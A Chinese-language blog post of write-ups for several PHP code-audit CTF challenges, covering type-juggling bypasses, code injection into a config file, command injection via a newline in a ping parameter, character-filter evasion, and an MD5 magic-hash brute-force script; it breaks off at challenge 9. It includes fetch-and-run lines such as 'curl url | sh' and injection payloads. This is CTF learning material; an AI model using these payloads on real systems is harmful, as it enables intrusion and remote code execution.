github上面的代码审计“小”题目。
代码审计和开发不同的是,代码审计需要异常关注程序语言的各种 小边界,各种开发所遗漏的语言安全特性。
这里将记录我解答这些题目的思路,以加深我对各种语言安全特性的了解。

PHP

challenge 1

题目如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
<?php

/*******************************************************************
 * PHP Challenge 2015
 *******************************************************************
 * Why leave all the fun to the XSS crowd?
 *
 * Do you know PHP?
 * And are you up to date with all its latest peculiarities?
 *
 * Are you sure?
 *
 * If you believe you do then solve this challenge and create an
 * input that will make the following code believe you are the ADMIN.
 * Becoming any other user is not good enough, but a first step.
 *
 * Attention this code is installed on a Mac OS X 10.9 system
 * that is running PHP 5.4.30 !!!
 *
 * TIPS: OS X is mentioned because OS X never runs latest PHP
 *       Challenge will not work with latest PHP
 *       Also challenge will only work on 64bit systems
 *       To solve challenge you need to combine what a normal
 *       attacker would do when he sees this code with knowledge
 *       about latest known PHP quirks
 *       And you cannot bruteforce the admin password directly.
 *       To give you an idea - first half is:
 *          orewgfpeowöfgphewoöfeiuwgöpuerhjwfiuvuger
 *
 * If you know the answer please submit it to info@sektioneins.de
 ********************************************************************/

$users = array(
        "0:9b5c3d2b64b8f74e56edec71462bd97a" ,
        "1:4eb5fb1501102508a86971773849d266",
        "2:facabd94d57fc9f1e655ef9ce891e86e",
        "3:ce3924f011fe323df3a6a95222b0c909",
        "4:7f6618422e6a7ca2e939bd83abde402c",
        "5:06e2b745f3124f7d670f78eabaa94809",
        "6:8e39a6e40900bb0824a8e150c0d0d59f",
        "7:d035e1a80bbb377ce1edce42728849f2",
        "8:0927d64a71a9d0078c274fc5f4f10821",
        "9:e2e23d64a642ee82c7a270c6c76df142",
        "10:70298593dd7ada576aff61b6750b9118"
);

$valid_user = false;

$input = $_COOKIE['user'];
$input[1] = md5($input[1]);

foreach ($users as $user)
{
        $user = explode(":", $user);
        if ($input === $user) {
                $uid = $input[0] + 0;
                $valid_user = true;
        }
}

if (!$valid_user) {
        die("not a valid user\n");
}

if ($uid == 0) {

        echo "Hello Admin How can I serve you today?\n";
        echo "SECRETS ....\n";

} else {
        echo "Welcome back user\n";
}

代码的意思很简单, 通过控制传入cookie的值使得最后的流程进入echo "Hello Admin How can I serve you today?\n"; 代码块。
正常来说,我们传的cookie要是这样的: Cookie: user[0]=0;user[1]=unknowpassword;,user[1]的 md5值需要跟9b5c3d2b64b8f74e56edec71462bd97a相等。
既然是md5相关的,那上cmd5.com查查看有没有相关记录,可惜没有。
提示也说了,admin的密码是个强密码,看来出题人不希望我们往密码爆破那方面去想。
尝试去查其他md5值,发现只有$users的第六个元素是可以查出密码的, 密码是: hund。
在比较$user和$input时,用的是===,那么密码比较是无法绕过的,所有最终答案的user[1]肯定等于hund, 即Cookie: user[0]=5;user[1]=hund;
然而在比较$uid和0时,用的却是==,或许我们可以通过php==的类型转换来绕过比较。
到这里我就卡住了,怎么看都绕不过,提示里说代码跑在php 5.4.30,那么这可能是只存在于这一版本php里的 安全漏洞, 看下change log, 实在太多,找不到。看write up好了。
如write up所言, 在5.6.11之前的版本里面, php在比较数组index时犯了一个错,导致:

1
var_dump([0 => 0] === [0x100000000 => 0]); // bool(true)

先看下php比较数组index的实现代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
ZEND_API int zend_hash_compare(HashTable *ht1, HashTable *ht2, compare_func_t compar, zend_bool ordered TSRMLS_DC)
{
        Bucket *p1, *p2 = NULL;
        int result;
        void *pData2;

        ...

        while (p1) {
                if (ordered && !p2) {
                        ...
                }
                if (ordered) {
                        if (p1->nKeyLength==0 && p2->nKeyLength==0) { /* numeric indices */
                                result = p1->h - p2->h;                <------------ POSSIBLE TRUNCATION
                                if (result!=0) {
                                        HASH_UNPROTECT_RECURSION(ht1);
                                        HASH_UNPROTECT_RECURSION(ht2);
                                        return result;
                                }

通过两个数组index相减来判断是否index是否相等,如上, p1->h减去p2->h.
问题在于h是unsigned long类型的整数, 在64位系统上有64bit, 而相减的结果result却是32bit的int 类型, 导致2的32次方减0的结果是0.
最后,答案已经很明显了: Cookie: user[4294967296]=5;user[1]=hund;

challenge 2

题目:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
<?php
show_source(__FILE__);
$flag = "xxxx";
if(isset($_GET['time'])){ 
        if(!is_numeric($_GET['time'])){ 
                echo 'The time must be number.'; 
        }else if($_GET['time'] < 60 * 60 * 24 * 30 * 2){ 
                        echo 'This time is too short.'; 
        }else if($_GET['time'] > 60 * 60 * 24 * 30 * 3){ 
                        echo 'This time is too long.'; 
        }else{ 
                sleep((int)$_GET['time']); 
                echo $flag; 
        } 
                echo '<hr>'; 
}
?>

主要考查is_numeric和(int)之间的不同, php5钟is_numeric认为十六进制的字符串也是数字,而 (int)强制类型转换不能转换十六进制字符串, 那么答案便是?time=0x76a700.
注意: 从php7.0开始is_numeric不再认为二进制字符串和十六进制字符串为数字。

challenge 3

题目:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
index.php 文件内容

<?php
$str = addslashes($_GET['option']);
$file = file_get_contents('xxxxx/option.php');
$file = preg_replace('|\$option=\'.*\';|', "\$option='$str';", $file);
file_put_contents('xxxxx/option.php', $file);
?>

xxxxx/option.php 文件内容

$option='test';

这在真实情况中是有可能出现的,接受用户的信息,过滤后并把它写入到文件当中。
如果过滤不当的话很容易造成get shell.
我们看看这个, 首先对传入字符串addslashes, 例如’会变成', 然后会正则替换option.php中$option的值。

解法1

首先要明白'|\$option=\'.*\';|' 匹配单引号内的所有内容,但是不包括换行符。那么我们的思路 就是第一次写入一个单引号、换行符以及php代码,然后第二次把第一次的单引号注释掉,那么我们的 php代码就逃逸出来了。
例如: 第一次访问index.php?option=aaa%27%0a;phpinfo();//,option.php文件内容变为:

1
2
3
4
<?php
$option='aaa\';
phpinfo();//';
?>

此时第二次访问index.php?option=aaa, 文件内容变为:

1
2
3
4
<?php
$option='aaa\';
phpinfo();//';
?>

phpinfo();已经逃逸出来了

解法2

preg_replace替换字符串时会再进行一次转义操作的,例如''会变成'\',所以答案为:

1
index.php?option=aaa\%27%0a;phpinfo();//

$str的值为aaa\\\'%0a;phpinfo();//,经过preg_replace后变成(此处存疑,preg_replace的转义机制是怎样的? ):

1
2
3
<?php
$option='aaa\\\\';phpinfo();//';
?>

phpinfo();也已经逃逸出来了

challenge 4

由于原代码和题目考察的相关度不高,就不贴代码了。
大概意思是如果你可以控制命令注入的参数,但是参数中不允许出现.\/三个字符,应该怎么弹shell呢?

解法1

用编码绕过:

1
2
3
4
5
6
7
base64,并不是很好用,因为base64有时候会出现`/`字符
编码: echo "hello" | base64 
解码: echo "aGVsbG8K" | base64 -d

16进制
编码: echo "hello" | xxd -p
解码: echo "68656c6c6f0a" | xxd -r -p

优缺点: 存在字符长度问题,当然如果是无法连接外网的时候,这个还是能写shell的

解法2

十进制 —||||||> 十六进制 —||||||> 八进制 然后在访问时 指定协议然后加个0

http://0[八进制] 比如 115.239.210.26 首先用.分割数字 115 239 210 26 然后选择10进制转换16进制! (要用0来表示前缀,可以是一个0也可以是多个0 跟XSS中多加几个0来绕过过滤一样!)

首先把这四段数字给 转成 16 进制!

结果:73 ef d2 1a 然后把 73efd21a 这十六进制一起转换成8进制!

结果:16373751032

然后指定协议 http:// 用0表示前缀 加上

结果 链接: http://0016373751032

1
2
3
curl 16进制ip或八进制ip | python
wget url | sh
curl url | sh

以上都行,总之算是个小技巧吧

challenge 5

题目:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
ini_set("display_errors", "On");
error_reporting(E_ALL | E_STRICT);
if(!isset($_GET['c'])){
   show_source(__FILE__);
   die();
}
function rand_string( $length ) {
   $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";    
   $size = strlen( $chars );
   $str = '';
   for( $i = 0; $i < $length; $i++ ) {
	   $str .= $chars[ rand( 0, $size - 1 ) ];
   }
   return $str;
}
$data = $_GET['c'];
$black_list = array(' ', '!', '"', '#', '%', '&', '*', ',', '-', '/', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', ':', '<', '>', '?', '@', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '\\', '^', '`', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '|', '~');
foreach ($black_list as $b) {
   if (stripos($data, $b) !== false){
	   die("WAF!");
   }
}
$filename=rand_string(0x20).'.php';
$folder='uploads/';
$full_filename = $folder.$filename;
if(file_put_contents($full_filename, '<?php '.$data)){
   echo "<a href='".$full_filename."'>WebShell</a></br>";
   echo "Enjoy your webshell~";
}else{
   echo "Some thing wrong...";
}

大意是接受用户参数并写到php中,但是该参数中不要包括$black_list中的值, 就是不能数字,字母 以及一些符号。 然后跟JSFUCK类似,利用php中的异或,取反和字符串自增可以构建出可执行的php函数 和参数。具体可看一些不包含数字和字母的webshell.
动态语言真是可以玩出花来。

challenge 6

题目:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
<?php
if(isset($_REQUEST[ 'ip' ])) {
    $target = trim($_REQUEST[ 'ip' ]);
    $substitutions = array(
        '&'  => '',
        ';'  => '',
        '|' => '',
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',
    );
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
    $cmd = shell_exec( 'ping  -c 4 ' . $target );
    echo $target;
    echo  "<pre>{$cmd}</pre>";
}
show_source(__FILE__);

使用换行符: %0a可绕过过滤.

1
index.php?ip=127.0.0.1%0aid

challenge 7

题目:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
$output = "";
if (isset($_GET['code'])) {
  $content = file_get_contents(__FILE__);
  $content = preg_replace('/FLAG\-[0-9a-zA-Z_?!.,]+/i', 'FLAG-XXXXXXXXXXXXXXXXXXXXXXX', $content);
  echo '<div class="code-highlight">';
  highlight_string($content);
  echo '</div>';
}
if (isset($_GET['pass'])) {
  if(!preg_match('/^[^\W_]+$/', $_GET['pass'])) {
    $output = "Don't hack me please :(";
  } else {
    $pass = md5("admin1674227342");
    if ((((((((($_GET['pass'] == $pass)))) && (((($pass !== $_GET['pass']))))) || ((((($pass == $_GET['pass'])))) && ((($_GET['pass'] !== $pass)))))))) { // Trolling u lisp masta
      if (strlen($pass) == strlen($_GET['pass'])) {
        $output = "<div class='alert alert-success'>FLAG-XXXXXXXXXXXXXXXXXXXXXXX</div>";
      } else {
        $output = "<div class='alert alert-danger'>Wrong password</div>";
      }
    } else {
      $output = "<div class='alert alert-danger'>Wrong password</div>";
    }
  }
}
?>

真是扭曲的代码,看得人头大,要是真实开发这么写非得让人打死不可。
题目大意是考察php弱类型比较,也算是经典题目了。 附爆破脚本一则,可自行修改:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
import hashlib
  
payload = "f789bbc328a3d1a3"


def calcMd5(s):
    s = s.encode('utf8')
    MD5 = hashlib.md5(s).hexdigest()
    if MD5[0:2] == "0e" and MD5[2:32].isdigit():
        print(s, MD5)
        exit(0)

if __name__ == '__main__':
    it = 100000000
    while 1:
        p = payload + str(it)
        calcMd5(p)
        it += 1

challenge 8

应该是要考察sql注入,做不出来,先跳过

challenge 9